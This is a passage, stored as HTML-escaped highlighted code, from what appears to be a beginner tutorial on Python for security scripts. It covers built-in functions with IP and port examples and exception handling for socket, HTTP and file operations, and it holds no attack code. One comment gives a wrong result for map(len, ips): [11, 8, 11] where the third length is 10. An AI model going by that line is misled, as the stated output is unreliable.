&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                       &lt;span class="c1"&gt;# range(0, 10)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;                 &lt;span class="c1"&gt;# [0, 1, 2, ..., 9]
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                   &lt;span class="c1"&gt;# &amp;lt;class 'str'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;        &lt;span class="c1"&gt;# True
&lt;/span&gt;
&lt;span class="c1"&gt;# Input/Output
&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Enter target IP: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Map and filter
&lt;/span&gt;&lt;span class="n"&gt;ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;172.16.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;lengths&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;          &lt;span class="c1"&gt;# [11, 8, 11]
&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Filter
&lt;/span&gt;
&lt;span class="c1"&gt;# Zip — combine two iterables
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;web01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;db01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mail01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.10&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.20&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.30&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;combined&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;       &lt;span class="c1"&gt;# [("web01", "192.168.1.10"), ...]
&lt;/span&gt;&lt;span class="n"&gt;host_map&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;       &lt;span class="c1"&gt;# {"web01": "192.168.1.10", ...}
&lt;/span&gt;
&lt;span class="c1"&gt;# Min, Max, Sum
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# 22
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# 8080
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# 8625
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                   &lt;span class="c1"&gt;# [22, 80, 443, 8080]
&lt;/span&gt;
&lt;span class="c1"&gt;# Any and All — check conditions across iterables
&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                    &lt;span class="c1"&gt;# True — at least one True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                    &lt;span class="c1"&gt;# False — not all True
&lt;/span&gt;
&lt;span class="c1"&gt;# Enumerate and zip used together
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; → &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Error Handling
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Why Error Handling Matters in Security Scripts
&lt;/h3&gt;

&lt;p&gt;Security scripts run against external targets — networks that are unreliable, hosts that go offline, services that behave unexpectedly. Without proper error handling, your scanner crashes on the first timeout, your exploit stops at the first failed connection, your log parser dies on the first malformed line.&lt;/p&gt;

&lt;p&gt;Professional security code handles failures gracefully, logs what went wrong, and continues operating.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 try/except/else/finally
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;

&lt;span class="c1"&gt;# Basic try/except
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connected!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connection timed out&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ConnectionRefusedError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port is closed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gaierror&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DNS resolution failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unexpected error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                       &lt;span class="c1"&gt;# Always runs, even if exception occurred
&lt;/span&gt;
&lt;span class="c1"&gt;# try/except/else
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;443&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not a valid port number&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Only runs if NO exception occurred
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Valid port: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Catching multiple exceptions
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;connect_to_target&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;except &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ConnectionRefusedError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;OSError&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connection failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Common Exceptions in Security Scripts
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Network errors
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://target.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raise_for_status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;        &lt;span class="c1"&gt;# Raises HTTPError for 4xx/5xx
&lt;/span&gt;&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Request timed out&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;ConnectionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cannot connect — host down or port closed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RequestException&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Request failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# File errors
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;FileNotFoundError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;targets.txt not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;PermissionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No permission to read targets.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="c1"&gt;# Type and value errors
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
